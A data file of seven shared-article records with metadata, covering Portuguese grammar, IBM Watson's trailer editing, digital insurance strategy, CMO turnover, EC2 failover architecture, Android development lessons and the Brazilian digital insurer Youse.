1472823854,CONTENT SHARED,5806996498600223274,-5527145562136413747,7711682472589845889,,,,HTML,http://blog.runrun.it/teste-de-portugues/,[Teste] Quer saber como está seu português? - Runrun.it Blog,"Existem competências que são obrigatórias para profissionais de qualquer área. O domínio do idioma é uma delas. Ainda assim, infrações à norma culta da língua são uma constante no mundo corporativo - e em qualquer nível hierárquico. Esses desvios linguísticos são mais ""toleráveis"" quando ocorrem na linguagem oral. O grande problema acontece quando as infrações acontecem por escrito, nesse caso, o grande delator são os e-mails (ainda a principal forma de comunicação corporativa). Por isso, escrevê-los de maneira correta e adequada ao contexto é essencial para sua imagem profissional. Aliás, esse teste foi baseado em uma lista que compilou os 71 erros mais comuns em e-mails corporativos. Quer saber como está o seu português? Responda às perguntas e teste seus conhecimentos em ortografia, concordância, gramática e vocabulário. Boa sorte! E-mails? Você ainda troca e-mails? Agora que você deu um importante passo para não cometer mais erros de português em e-mails, é hora de avançar ainda mais. O número de e-mails e a forma como a troca de demandas fica desordenada provavelmente são um pesadelo diário para você e sua equipe. O fim do pesadelo está na contratação de uma ferramenta de gestão de projetos, tarefas e fluxo de trabalho, como o Runrun.it. Experimente grátis e sinta a diferença: Posted in Você também pode gostar de: Teste DISC: Que estilo de profissional é você? Mensagem de agradecimento profissional: 3 dicas para fazer sorrir 8 erros que te impedem de aprender como ser confiante Liderança , Produtividade , Testes",pt
1472833539,CONTENT SHARED,-8381230866408697127,1766257854965201953,9211894396612985323,,,,HTML,http://m.olhardigital.uol.com.br/pro/noticia/inteligencia-artificial-da-ibm-criou-trailer-perfeito-para-filme/61735,Inteligência artificial da IBM criou 'trailer perfeito' para filme,"A produtora 20th Century Fox fez uma parceria com a IBM para criar o trailer do filme Morgan . O filme fala sobre um super ser humano com modificações cibernéticas; por isso, a equipe de pesquisa da IBM usou a plataforma de inteligência artificial Watson para editar o ""trailer perfeito"" para o filme. Ele pode ser visto no final desta nota. Para realizar essa tarefa, o Watson ""assistiu"" aos trailers de 100 filmes de suspense e terror, divididos em cenas. Em cada cena, o sistema avaliou separadamente os sons, a composição das imagens e as emoções geradas pelo filme. Para analisar esse último aspecto, a inteligência artificial examinou as expressões faciais dos atores, os objetos usados nas cenas e a gradação de cores do filme. Em seguida, o sistema assistiu ao filme Morgan e separou as 10 cenas que seriam as melhores candidatas para o trailer. Segundo a IBM, o Watson conseguiu escolher cenas que nenhum dos editores tinha pensado em incluir; por outro lado, uma das dez cenas selecionadas pela máquina acabou não sendo incluída no trailer. Colaboração O processo também contou com a participação de humanos no processo de edição, já que o Watson não era capaz de fazer isso. Um editor colocou os letreiros, ordenou os momentos e selecionou a música para o trailer. Com a ajuda da inteligência artificial, o processo, que segundo a IBM pode levar de 10 a 30 dias, foi completado em 24 horas. Esse tempo começou a ser contado no momento em que o editor viu as imagens selecionadas pelo Watson até a hora em que o trailer ficou pronto. Uma utilização artística ou estética de inteligências artificiais não é exatamente novidade. O Google, por exemplo, está usando sua plataforma open-source Tensorflow para ensinar computadores a fazer arte , e esse processo já deu resultados . A empresa também usa essa tecnologia para combater cegueira e até ajudar a tratar câncer . O própri Watson já foi usado para criar desde sistemas de combate ao cibercrime até um chapéu seletor do Harry Potter . Dirigido por Luke Scott (o filho de Ridley Scott, diretor de Alien ), Morgan conta a história de um ser humano artificial criado ""em laboratório"". Morgan, como ele é chamado, é mantido em cativeiro e estudado por cientistas; no entanto, ele acaba se desenvolvendo mais rapidamente e melhor do que o esperado, e então se volta contra seus criadores. O trailer do filme, marcado para estrear dia 2 de setembro nos EUA, pode ser visto abaixo:",pt
1472912134,CONTENT SHARED,9060231864899459154,-1799631734242668035,2964196516297707435,,,,HTML,http://www.mckinsey.com/business-functions/digital-mckinsey/our-insights/making-digital-strategy-a-reality-in-insurance,Making digital strategy a reality in insurance,"Digital transformation is challenging in insurance, where change must happen without interrupting the flow of daily business. Here's how savvy leaders are taking on the challenge. The nature of competition in property and casualty (P&C) insurance is shifting as new entrants, changing consumer behaviors, and technological innovations threaten to disrupt established business models. Though the traditional insurance business model has proved remarkably resilient, digital has the power to reshape this industry as it has many others. Innovations from mobile banking to video and audio streaming to e-books have upended value chains and redistributed value pools in industries as diverse as financial services, travel, film, music, and publishing. As new opportunities emerge, those insurers that evolve fast enough to keep up with them will gain enormous value; the laggards will fall further behind. To succeed in this new landscape, insurers need to take a structured approach to digital strategy, capabilities, culture, talent, organization, and their transformation road map. Disruption at the gates Though the P&C insurance business has long been insulated against disruption thanks to regulation, product complexity, in-force books, intermediated distribution networks, and large capital requirements, this is changing. Sources of disruption are emerging across the value chain to reshape: Products. Semiautonomous and autonomous vehicles from Google, Tesla, Volvo, and other companies are altering the nature of auto insurance; connected homes could transform home insurance; new risks such as cybersecurity and drones will create demand for new forms of coverage; and Uber, Airbnb, and other leaders in the sharing economy are changing the underlying need for insurance. Marketing. Evolving consumer behavior is threatening traditional growth levers such as TV advertising and necessitating a shift to personalized mobile and online channels. Pricing. The combination of rich customer data, telematics, and enhanced computing power is opening the door to usage- and behavior-based pricing that could reduce barriers to entry for attackers that lack the loss experience formerly needed for accurate pricing. Distribution. New consumer behaviors and entrants are threatening traditional distribution channels. Policyholders increasingly demand digital-first distribution models in personal and small commercial lines, while aggregators continue to pilot direct-to-consumer insurance sales. Armed with venture capital, start-ups like Lemonade-which raised $13 million in seed funding from well-known investors including Sequoia Capital-are exploring peer-to-peer insurance models. Service. Consumers expect personalized, self-directed interactions with companies via any device at any hour, much as they do with online retail leaders like Amazon. Claims. Automation, analytics, and consumer preferences are transforming claims processes, enabling insurers to improve fraud detection, cut loss-adjustment costs, and eliminate many human interactions. Connected technologies could allow policyholders and even smart cars and networked homes to diagnose their own problems and report incidents. Self-service claims reporting such as ""estimate by photo"" can create fast, seamless customer experiences. Drones can be used to assess damage quickly, safely, and cheaply after catastrophes. All these disruptions are being driven and enabled by digital advances, as Exhibit 1 illustrates with examples from auto insurance. No single competitor or innovation poses a threat across the entire value chain, but taken together, they could lead to the proverbial death by a thousand cuts: many small disruptions combining to fell a giant. Tremendous value at stake The P&C industry lags in digital sophistication, so examples of the full benefits of digital are scarce. Our analysis suggests that the top 20 or 30 processes can account for up to 40 percent of costs and 80 to 90 percent of customer activity. Digitizing these processes can take out 30 to 50 percent of the human service costs while delivering a much better customer experience. And the benefits do not end there: Exhibit 2 shows how P&C insurers in the top quartile for digital performance are achieving twice the growth rate of their less digitally advanced peers and delivering better profitability at the same time. A few carriers are experimenting with corporate venture capital, innovation labs, and other approaches as they explore untapped sources of value and new business models. Areas of early focus include connected cars and homes, the sharing economy, and the move from insurance as a product to protection as a service. Many industry leaders are concerned about the costs and difficulty of transforming their business. To be sure, sizable investments are needed, but the penalty for doing nothing or moving too slowly could be far greater. Imagine the risk to incumbents if: Existing competitors slashed their costs and lowered their prices by half. Amazon or another digital giant with deep customer relationships moved into selling insurance, increasing price transparency and poaching the most profitable policyholders. A data aggregator drew on new sources of data to develop much more accurate underwriting and pricing models and partnered with a third-party investor to launch a new insurer that outperformed incumbents in profitable growth. A small commercial competitor offered cybersecurity insurance in a bundle with business-owner policies. A critical mass of autonomous vehicles eliminated many road accidents and injuries. How would these disruptions affect premiums and profitability? How quickly would insurers feel the impact? How could they respond? And what other digital innovations lie in store (Exhibit 3)? A structured approach to capturing value Insurers are experimenting with many different approaches to digital, but all are grappling with the same challenge: deciding where and how to focus in order to establish or maintain a competitive edge. A successful digital transformation calls for a structured approach with action on five levels: Strategy. Align on a long-term vision to overhaul operations and generate new sources of value based on clearly articulated, shared priorities. Value capture. Build the mechanisms to execute the strategy by improving today's business and processes through digitization while simultaneously launching efforts to build tomorrow's digital business through innovation. Capabilities. Invest in the core technical competencies needed to support digitization and innovation, such as flexible modular IT architecture, deep data access and analytics, user-centric experience design, and digital operations. Culture, talent, and organization. Build agile test-and-learn capabilities at the front line to encourage experimentation and shift to a digital-first mind-set; recruit and develop new types of talent such as data scientists and design thinkers; and revise formal organization structures to encourage collaboration between functions and reflect the importance of digital. Road map. Build an integrated transformation road map that addresses all the elements above and takes into account the organization's digital maturity and readiness to embark on a multiyear digital journey as well as the value digital can bring to its specific markets and products. Transforming into an analytics-driven insurance carrier Read the article To chart a successful path, it helps to understand common pitfalls. Digital strategies most frequently fall short when they lack a clear vision of the sources of value in digitization and digital innovation. To develop digital capabilities, insurers need to be prepared to commit adequate time and money. Lapses in digital culture, talent, and organization typically stem from insufficient investment in installing new types of talent and ways of working in the business, or a failure to adjust organization structures to reflect digital's importance. Some insurers struggle to go it alone as they strike out on their journey, when they might move faster or capture more value by partnering with third parties or buying them outright. Whether it is better to build, buy, or partner will depend on a company's starting point, aspirations, and time horizon. What all successful digital transformations share is a sustained commitment from senior management, a shared long-term vision, a willingness to transform the culture and operating model, and the tenacity to persist through the difficulties that accompany any organizational effort of this magnitude. Undertaking a digital transformation is undoubtedly challenging, especially since insurers have to carry it out while managing their everyday business operations effectively as well. But the question is not ""Do we have the appetite to undertake a digital transformation?"" but ""Can we afford not to?"" About the author(s) Tanguy Catlin is a senior partner in McKinsey's Boston office, Somesh Khanna is a senior partner in the New York office, Johannes-Tobiaz Lorenz is a senior partner in the Düsseldorf office, and Sandra Sancier-Sultan is a senior partner in the Paris office.",en
1472916632,CONTENT SHARED,-1755875383603052680,-1799631734242668035,2964196516297707435,,,,HTML,http://adage.com/article/digitalnext/cmos-dropping-flies/305691/,Why Are CMOs Dropping Like Flies?,"Intense Demand to Prove ROI Is Contributing to Churn A study published last month by Russell Reynolds Associates shows that CMO turnover is higher than ever. In some industries, the trend is eye-popping -- particularly in retail, where 48% of the top 30 retailers in the U.S. have had a change in marketing leadership in the last 12 months. Consumer tech, media, CPG and hospitality industries also had high levels of churn in the CMO hot seat. What's more, 62% of companies replace their CMOs with someone from outside the company, a clear indicator that many CEOs don't believe anyone else who works at their companies has the answers either. What the hell is going on? Well, in interviews with a dozen CMOs and CEOs, Russell Reynolds concluded that there were eight distinct factors -- but if I were pressed to summarize them, it would be ""Digital, digital, digital, digital, digital, digital, digital, and CEOs making scapegoats out of CMOs to buy more time to deal with digital."" The business world today places intense demand for a quantifiable ROI on every dollar of marketing expenditure -- and an overly optimistic expectation that digital will be able to deliver it. What are we left with? Misaligned needs and expectations all over the place. Organizations look to marketing to deliver attributable short-term sales with little or no regard for long-term brand health. That's not a recipe for long-term success. And I've got news for you: ""Long-term"" is only a year away. As a marketer, you need to have a balanced view. Let's say you're a CPG marketer. If all you cared about was driving sales, you'd pour all your money into retail promotions -- but you'd have invested absolutely nothing in changing the attitudes and perceptions that make people love your brand. Those sales would fall of a cliff the second you stopped promoting. If you don't build brand while you drive sales, you're pouring ocean water into the sand. One telling observation in the research is that in some categories, up to 90% of sales are influenced by the web, while 80% of purchases are actually made in a brick-and-mortar store. That insight implies we should be very thoughtful about the role of digital to influence, but not necessarily close the sale. But many CMOs don't have a mandate to use digital thoughtfully. They are pressured to focus through a myopic lens. In other words, in order to truly succeed they need to do their job in a different way than everyone else around them wants and expects them to. The net result? They either wind up with their head on the chopping block or say, ""Screw this,"" and quit. One telling statistic comes from a recent Salesforce report: 83% of marketers in organizations rated as ""high performers"" say their execs are completely committed to supporting their overall marketing strategy. That's compared to only 31% in low-performing marketing organizations. I'd venture to guess that a pretty high percentage of CMO turnover is coming from the low performers. As someone who has run an agency for fifteen years, I learned the hard way long ago that if we don't set the right expectations, make sure stakeholders are in alignment with those expectations, and then deliver on them, we're going to lose that client a year down the road. Before you can set the right expectations you need to make sure your client shares your point of view. That requires direct conversations to educate, and sometimes change mindsets. Sometimes that's hard. Clients hire us to help them be successful, not tell them what they already know -- but changing perceptions is a difficult task. Difficult, but essential. CMOs have clients too, nowadays. Strategy connects the dots between what you do and why you do it. My advice? Make sure your clients understand the ""what"" and the ""why."" Adam Kleinberg Adam Kleinberg is CEO of Traction , a digital agency based in San Francisco.",en
1472962021,CONTENT SHARED,1333053624108726661,3302556033962996625,8262849095889894692,,,,HTML,http://support.rightscale.com/09-Clouds/AWS/02-Amazon_EC2/Designing_Failover_Architectures_on_EC2/00-Best_Practices_for_using_Elastic_IPs_(EIP)_and_Availability_Zones/,Best Practices for using Elastic IPs (EIP) and Availability Zones,"As cloud computing continues to evolve many questions arise around the best way to design a highly reliable site on the cloud with failover and recovery. As a system administrator you must always plan for failure. This document will help explain the best way to create affordable and reliable sites on EC2 using Elastic IPs (EIP) and availability zones. Elastic IPs (EIP) and availability zones are two key tools for creating stable architectures. An Elastic IP (EIP) allows users to allocate an IP address and assign it to an instance of their choice. Elastic IPs are dynamically re mappable IP addresses that make it easier to manage servers in the cloud because each IP address can be reassigned to a different instance when needed. An availability zone is essentially a regional data center on EC2. In the Dashboard, you have the flexibility of specifying an EIP and availability zone when you launch a server on EC2, which gives you the ability to create basic to complex site architectures that satisfy your site's cost and reliability requirements. There are several factors to consider when designing your site's architecture Cost vs. Reliability - How much are you willing to invest in your site architecture and reliability? Performance - How does your site perform if your deployment is set up across multiple availability zones? Site Downtime - How much downtime am I comfortable with in a failure scenario? The answers to these questions will help determine how you design your site. But, if you pick the wrong design, don't worry because you can easily change architectures at any time. That's the beauty of cloud computing! You are no longer limited by your physical hardware. You only pay for what you use. The table below highlights the key differences between 3 sample architectures. Architecture Cost Considerations Remember, you only have to pay for what you want. There are several different ways to design a highly reliable site. However, it depends on how much you're willing to pay for what level of failover and reliability. Data transferred between instances in the same availability zone on EC2 costs $0.00 per GB. Data transferred between instances across different availability zones on EC2 costs $0.01 per GB. Creating a deployment is free. You can always create a clone of your production deployment that is ready to be launched in a different availability zone if the primary availability zone ever fails. See Amazon for a breakdown of Availability Zone Pricing . Basic Failover Architecture The production deployment runs in a primary availability zone. A backup ""clone"" deployment is ready to be launched in a different availability zone if the primary zone fails. This is the most affordable failover option, because deployments are completely free. Simply create a clone of your production deployment and save it as a backup deployment. If the primary zone ever fails, all you will have to do is manually launch the backup deployment. The estimated downtime would be about 5-10 minutes after you launch the backup deployment, plus any additional time that is needed to load the database. When launching the backup deployment, make sure that the appropriate EIPs are associated with the new frontend instances. In the example diagram below, the production deployment is live and running while the backup (clone) deployment is already configured in the Dashboard and ready to be launched in a different availability zone if there is a failure in the primary zone and your production deployment disappears. The Master and Slave databases will be restored with the same backup file so that they are identical copies. However, since database backups are saved to S3 every 10 minutes, you may lose some data. If you cannot afford to lose data, you should consider using a more advanced failover architecture. Notice that the same EIPs will be used, except they will point to the new instances. Intermediate Failover Architecture If your production deployment cannot afford a 10 minute downtime and you're willing to invest more for added redundancy, then you can set up a slightly diversified deployment across two availability zones. In this example, we've placed the Slave-DB in a different availability zone. This may be an ideal setup if you do not have a lot of data being transferred between your application and database, and you're willing to pay for the extra instances and usage. Remember, data transferred between instances across different availability zones will costs $0.01 per GB. Advanced Failover Architecture If your production deployment requires the highest level of reliability with as close to 100% uptime as possible, you definitely have the flexibility to design an extremely reliable architecture, but you must be willing to pay for the extra redundancy. In this setup, a single instance can be deleted at any time and the site will continue to operate normally and does not require any responsive action. If an availability zone completely fails, you will still have a completely functional site running in a different availability zone. However, the cost of running this type of deployment on EC2 will double, plus the data transfer costs between availability zones. From a performance perspective, your users might experience a slightly slower performance since data is sent across different availability zones, but you'll have an extremely reliable architecture on the cloud. If you are using an advanced deployment architecture and the availability zone that contains your Master-DB fails, all incoming requests will automatically be rerouted to load balancer-2 and serve content from Slave-DB in us-east-1b. Visitors to your site might experience slower performance, but your site should remain fully functional. When you are ready, you can promote your Slave-DB to Master-DB and then launch a new load balancer, app servers, and a Slave-DB in a new availability zone. Notice that the EIP that was previously pointing to load balancer-1 (172.168.7.31) is now pointing to load balancer-3 in us-east-1c. When an EIP is reassigned to a different instance, it will take approximately 3 minutes for an EIP address to be transferred to a new instance. The ""WaitFor"" feature inside our Run RightScripts ensures that the EIP is fully settled before it receives any requests.",en
1472997362,CONTENT SHARED,1106203543388094548,3302556033962996625,8262849095889894692,,,,HTML,https://blog.aritraroy.in/what-my-2-years-of-android-development-have-taught-me-the-hard-way-52b495ba5c51?gi=6d3a83f7b1f6,What 2 Years of Android Development Have Taught Me the Hard Way - Thought's by Aritra Roy,"I still remember that day back in 2014 when I decided to start Android development, and that was one of the best decisions I took in my life. It has been around two and a half years now and I had the chance to learn and un-learn a lot of things in Android. Initially when I started, I didn't have a mentor or someone who could guide me to do things the right way . I did a LOT of mistakes and also wasted a lot of time doing and later rectifying them. Later, after one and a half years, I got the chance to work with some really talented and experienced Android developers, who guided me and helped me shape things in a much better way. Both of these phases helped me learn a hell lot of things in the HARD way. I learned what TO DO and most importantly what NOT TO DO . It has been quite some time that I have been trying to help other developers in ways possible to me, directly and indirectly. Here are my StackOverflow and Github profiles. In this article, I will be sharing some of the gems that I have collected in these years. It might help someone to get started faster and not repeat the mistakes that I once did. Disclaimer : I will mainly be focussing on Android and some concepts of programming and product development in this article, so if you are not familiar with any of these, you might not want to read any further. Others, just dive in. :-) 1. Don't Reinvent the Wheel Initially, I had a bad idea of not using open-source libraries . Whatever I needed, I just wanted to make it myself. It's was seriously a terrible idea. If you have a problem while developing your app, and if that problem has been solved by someone else before and in a good way, why not use that? You can save yourself a lot of time. Focus more on the core business logic of your app. If you want to make network calls in your app, you don't need to make a Retrofit yourself. Bonus : Android Arsenal maintains a database of almost all Android libraries ever made. Go check it out. 2. Choose Libraries Wisely There are lots and lots of open-source libraries available in Github for you to use for FREE. But don't get too excited and start using libraries blindly . Check the number of stars that particular library has, the more the better. Check if the author of that library have also created some other popular libraries as well. Check the issues (both open and closed), which can give you a better idea of how robust and stable the library is in production. If you can afford the time, you should dive into the code of that library and check yourself if its really worth it. You just want to ensure that the code you are going to use is reliable, bug-free and high-quality. Pro Tip: Try out any library hosted directly from the command line using . 3. Sit, Take a Cup of Coffee and Read More Code We spent most of our time reading others code than writing ourselves . If you are not doing that, START today. Whatever code you are able to write today is only because you have read and learned something, somewhere, someday . It's just a reflection of what you already know. You can only grow and improve yourself by reading and learning from other's work. The great thing about Android is that it is a completely open-source platform . Dive into the code and check how they have implemented the framework. There are thousands of open-source libraries in Github. Just pick a library and see how the developer have implemented it. Bonus : is a curated list of some of the best libraries and is a list of almost all open-source Android apps available. You are welcome :-) 4. For God's Sake, Maintain Proper Coding Standards If you compare coding with writing, then coding standards is like your handwriting. As you would be reading more of others code, other people will also be reading a lot of your code and you don't want to scare the shit out of them, do you? And if you are working in an organization and collaborating with other developers heavily, do take special care about it . Write short, clean and readable code that YOU and people reading your code would enjoy thoroughly. Your code should read like a story . Code is Poetry. Don't complain if you write a piece of code and your colleagues don't talk to you for a few days. 5. You Need ProGuard, Yes, You Need It! Never ever, ever make the mistake of releasing your app on the Play Store without using ProGuard. ProGuard not only minifies your code, but it obfuscates your code making it harder for reverse-engineers to understand, replicate and manipulate it. Its absolutely free and comes bundled with the Android SDK, and there is absolutely no reason for you not to use it . I have seen several developers releasing their app on the market without ProGuard. It should not take more than a few hours for a not-so-skilled hacker to manipulate an the app released without Proguard. Pro Tip : But i f you want top-notch security, then ProGuard is like a cardboard while you need a safe, and here it is, . 6. Use a Proper Architecture You will forever thank yourself for choosing a proper architecture in the first place . You can use MVP (Model-View-Presenter) architecture which can decouple your code into different easy-to-manage layers thereby improving code flexibility and greatly reducing maintenance time. There is a great demo project for you to start. And if you are having a hard time grasping it, here is a detailed guide for the beginners. 7. User Interface Is like a Joke, If You Have to Explain It, It's Bad If you work for any organization playing the role of ""just"" an Android developer, you probably won't need to be too concerned about this, as there are UI/UX designers to take care of this. But if you are an individual developer , you need to get this straight into your head. I have seen developers creating really good apps with great functionality, but the UI looks horrible and the UX makes it a pain to use. Design a clean, simple and beautiful interface that is easy on the eyes. You should not just think like a developer, rather you should concentrate on igniting the hidden designer inside you. Try to create a lasting impression on your users by designing a beautiful UI, so that they keep coming back to your app more often than others and tend to convert more (buy your premium version, maybe). You should get a kick by removing elements from your design, rather than adding. Keep it clean and minimal. 8. Analytics Is Your Best Friend If you want to create a truly amazing app , you need to heavily rely on analytics tools to analyze the performance and usage of different parts of your app. By analytics, I refer to both crash reporting and app usage tracking and you need both of them. Whatever you do, you can never make something perfect. When real users will start using your app on a variety of Android devices and on various Android versions available, you will even see some of your best written code to fall flat on the ground. Crash reporting tools can help you to track and fix them , one crash at a time. You also need to start thinking like a marketer and analyze the usage of various portions of your app. This is what will help you bridge the gap between what you made and what your users' actually want. Pro Tip : Use Crash Reporting and Analytics tools and you can thank me later. 9. Be a Marketing Ninja If you are an individual developer, you have to think beyond being ""just a developer"" and have to understand marketing as well. I have seen good products fail due to lack of proper marketing, and the not-so-good ones become massively successful just because of great marketing. If you are serious about your work and want it to reach a large audience, you need to invest your time and money in properly marketing your app . But before starting your marketing campaigns, ensure that your app is absolutely stable with all features ready. You want maximum conversions from every dime you spend, right? Spend time researching who your competitors are and how you can beat them. Identify the ones you can compete immediately and the ones you have to keep aside for a future fight. Pro Tip: is an affordable market analysis tool, I love to use. 10. It's Time to Optimize Your App This is something that most of us generally don't do, but you should and you need to. There is a big difference between writing code and writing ""optimized"" code . Write code that runs quickly, takes less memory and consumes less device storage. An unoptimized app works well under normal circumstances, but when put to different stressful situations, it can show you its true colors . Check the amount of memory used by your app and look for memory leaks . Remember, a tiny leak can sink a big ship . Spend time on understanding how the Garbage Collector works in Java, create heap dumps and analyze your live objects. Pro Tip: Use Leak Canary to detect your memory leaks. It can save you a lot of time by automating this task for you. 11. Save More Than 5 Hours Every Week with Gradle Builds It's very very likely that you are using Android Studio to develop Android apps and using Gradle as your build system. Gradle is great but its slow and it becomes slower than a snail when your project size starts to grow in size. I remember the countless hours I have wasted just sitting and waiting for the Gradle builds to finish. On heavy work days, I easily wasted around an hour on just Gradle builds and that's like 5 hours a week draining down the gutter . But, there are ways to speed it up too. You can follow this and this post to significantly improve your build speeds. My build time dropped from 4 minutes to less than 30 seconds after proper optimization. 12. Test, Test and When You Are Done, Test Again! There is nothing more important than testing . This is something that should be at the top of your list. Test your app as thoroughly as possible. Spend time for writing automated test cases. Create various stressful situations for your app and see if it can survive. I had once made the mistake of releasing my app out of hurry and didn't spend proper time testing it. I was waiting for my users to face bugs, report it and then I would go and fix them. Never, ever, ever do that. You might save a day, or two, or a week by cutting down time from testing, but will probably have to spend more than twice later. Don't do anything out of hurry, take your time and think long term. Be a visionary. Sow now, reap later. 13. Android Fragmentation is a Devil in Disguise Fragmentation is one of the biggest problems in Android and Google seems reluctant to fix it, but you have to live with it. There are a huge variety of Android devices with different screen sizes and hardware specifications from a plethora of different device manufactures who customize the OS to their heart's content. Added to that are the various Android versions where Google adds/removes API functionality out of nowhere to increase your workload ever further (an example here ). For example, not a single Android developer has finished an app without using SharedPreferences API. It's so common, yet it was broken in Samsung Galaxy S with Android 2.2 (bug report here ). Spend more time creating different layouts for different screen sizes . Test on different devices, having different versions, different specifications and from different OEMs. Never assume something would work, just because it seems so. 14. Start using Git, Today! If you are still not using Git, go ahead and start using it right away. When I started Android development, I was unfortunate enough not to know what the fudge Git was . I used to copy my entire project everyday and keep one backup in my hard drive and another in the cloud. Seems foolish? Yes, it absolutely was. Git can dramatically improve your workflow. If someone asks me to name a tool that I use everyday and can't stop using? It's Git and Git every time. And probably after using it for a few days you would fall in love with it and want to know how Git works internally , so here it is ready for you. And after some time, you would be starting a big project yourself and get confused on how you should maintain a proper branching model, so here you go. 15. Make it Difficult for the Hackers The open-source nature of Android is what makes it vulnerable to attacks. Every Android app can be decompiled, reverse-engineered, ripped open, analyzed and manipulated with ease. You don't want that to happen to your app, right? You should know how to securely store API keys locally in your app. If you are dealing with sensitive data of the users , then you must know how to encrypt them, what algorithm to choose (secure yet fast). You should also store the encryption keys securely either in the server or locally (if needed). You should prevent your app data from being backed up using the ADB (Android Debug Bridge). If you are storing sensitive data in the database, consider obfuscating it . If your app has a premium version which gets cracked and gets released for free. You would incur a serious loss in business, right? There are several things you can do to prevent your app from getting tampered. There is nothing like 100% security . Any skilled and determined hacker with the right resources, tools and patience can crack your app. All you want to do is make it difficult, rather very difficult for the hacker to crack it. 16. Develop On a Low-End Device Everyone loves to use a high-end Android smartphone, so do I. But remember to keep it for your personal use only and never use it for development purposes. A high-end device will hide a lot of flaws while developing your app. Suppose you are doing something in the UI thread which makes its way for a laggy UI, but on a powerful device, you may never ever notice that. An old, low-end device, dumped with lots of apps makes it ideal for a development device. 17. Invest in Learning Design Patterns This is an investment that will pay you forever. While developing big and complex apps, you will face some common problems which have probably been solved before by someone more competent than you, that's when design patterns comes into play. Start spending some time right from today to learn the Java Design Patterns . is a Github project that demonstrates all the design patterns known to mankind. To start off, learn the most important ones like Singleton, Adapter, Factory Method, Iterator, Dependency Injection, Event Driven Architecture, Builder, Callback, Strategy, Facade and Producer Consumer . Seems like a lot? It actually isn't. You will start loving them once you dive in. 18. It's Time to Give Back We all have got a lot of help from people around us and from the Internet. Lets admit it. Whenever you have a problem, the first thing you would do is Google that and find the first link from StackOverflow. Sometimes you are in a hurry and you end up copying and pasting the solution from the answer having the highest votes . Ever thought the number of libraries you are using from Github for free and how they have greatly reduced your development time and efforts. Its because someone somewhere has taken the time to build it and contribute to make the community better. Remember the day, when you were stuck in understanding a difficult concept or something which is entirely new to you, and you end up finding an awesome blog post which made it super easy for you. Its because somebody skipped a movie date and wrote that article. Its your time to give back as well. The more you give, the more you get back in return. We all are busy in our own work and we find it too difficult to manage time and do something for others. But try to find some time every week to contribute and make this Android community richer .",en
1473070647,CONTENT SHARED,-5684357871122991503,1895326251577378793,5142780734854854385,,,,HTML,http://www.mobiletime.com.br/31/08/2016/youse-seguradora-digital-se-diferencia-atraves-da-interface-movel/455342/news.aspx,MOBILE TIME - Youse: seguradora digital se diferencia através da interface móvel,"Youse: seguradora digital se diferencia através da interface móvel A Youse é uma plataforma digital de vendas de seguros que tem a interface móvel no centro da sua estratégia de desenvolvimento de produtos. Todo o processo de contratação de seguros da empresa é feito on-line, seja pelo site ou pelo app ( Android , iOS ), desde a cotação até o envio da apólice - são vendidos seguros de automóvel, de vida e de residência. A Youse iniciou seus testes em abril e entrou em operação em julho. Em breve o aplicativo contará com um botão de emergência, para o acionamento de socorro no caso de pane ou acidente com o carro: através de poucas perguntas feitas dentro do aplicativo, será definido automaticamente que tipo de serviço o usuário precisa e lhe serão informadas quais procedências deve tomar. Outra novidade em desenvolvimento é a realização de vistoria remota do automóvel, em que o segurado tira fotos com a câmera do smartphone e envia pelo app para a Youse. Muitas vistorias serão feitas com a ajuda de software de análise de imagens, poupando o segurado da espera pela visita de um técnico. ""Para tudo o que fazemos, pensamos primeiro em mobile, desde o site até o app. E depois vemos como fica para tablet e desktop"", diz Eldes Mattiuzzo, CEO Youse. ""Ser mobile é um posionamento, um diferencial. Sempre vamos querer estar na frente nesse aspecto. Somos mobile first"", acrescenta. O desenvolvimento é todo feito internamente. Mais de 80% dos funcionários da Youse vieram do setor de tecnologia. A empresa conta com equipes próprias de desenvolvedores para Android e iOS. Espírito de start-up Embora seja controlada por um grupo tradicional do mercado de seguros, a Caixa Seguradora, a Youse mantém uma operação independente. A contratação de Mattiuzzo, que tem experiência como empreendedor, teve como objetivo assegurar um espírito de start-up à companhia. Hoje, os seguros oferecidos pela Youse, para fins regulatórios, fazem parte da Caixa Seguradora. Mas a autorização para que a start-up atue como seguradora está em fase final de avaliação pela Susep, órgão regulador desse mercado. A intenção é que a Youse seja totalmente independente da Caixa Seguradora. ""Criamos uma nova empresa, independente da Caixa Seguradora, para desenvolver produtos novos, com mindset diferente, com pegada mais de tecnologia e de start-up"", explica o executivo. Flexibilidade A contratação de um seguro com a Youse é feita através de um passo a passo on-line, com flexibilidade, para que o consumidor monte livremente os termos da sua apólice. Na prática, não há pacotes pré-definidos: é o consumidor quem escolhe as coberturas e assistências que deseja, com milhares de combinações possíveis. Desta forma, cada segurado tem uma apólice com a sua cara, diz o executivo. A linguagem adotada nesse processo é bastante simples e informal, diferente da habitual do mercado de seguros. Outra inovação está no modelo de negócios, com cobrança de mensalidade e sem prazo para o fim do contrato. Enquanto o consumidor estiver adimplente, o seguro está válido. ""O seguro é um produto muito careta. Queremos que as pessoas olhem o seguro de maneira diferente"", argumenta Mattiuzzo. A empresa estuda o lançamento nos próximos meses de mais dois produtos: 1) seguro automotivo para perdas parciais; 2) seguro entre grupo de amigos, em que parte do dinheiro pago pelos segurados é devolvido após determinado período, caso performem bem. Crise Mattiuzzo reconhece que o mercado de seguros também sofre com a recessão econômica do País. Os últimos dois anos foram de crescimento nominal abaixo da inflação e aumento dos índices de sinistralidade. Contudo, ele entende que este é justamente um bom momento para lançar uma seguradora digital e que se pretende inovadora. ""Todas as seguradoras estão procurando recuperar a rentabidiade, ajustar as margens e reduzir os índices de sinistralidades em suas carteiras, preocupados em superar a crise. Isso é ótimo para a gente, porque neste momento podemos fazer experimentações, testar conceitos. E vai demorar para nos copiarem ou para surgirem novos players"", avalia. ""Trabalhar com inovação e tempos de crise te dá mais tempo antes de ser copiado"", conclui. Eldes Mattiuzzo, CEO da Youse",pt
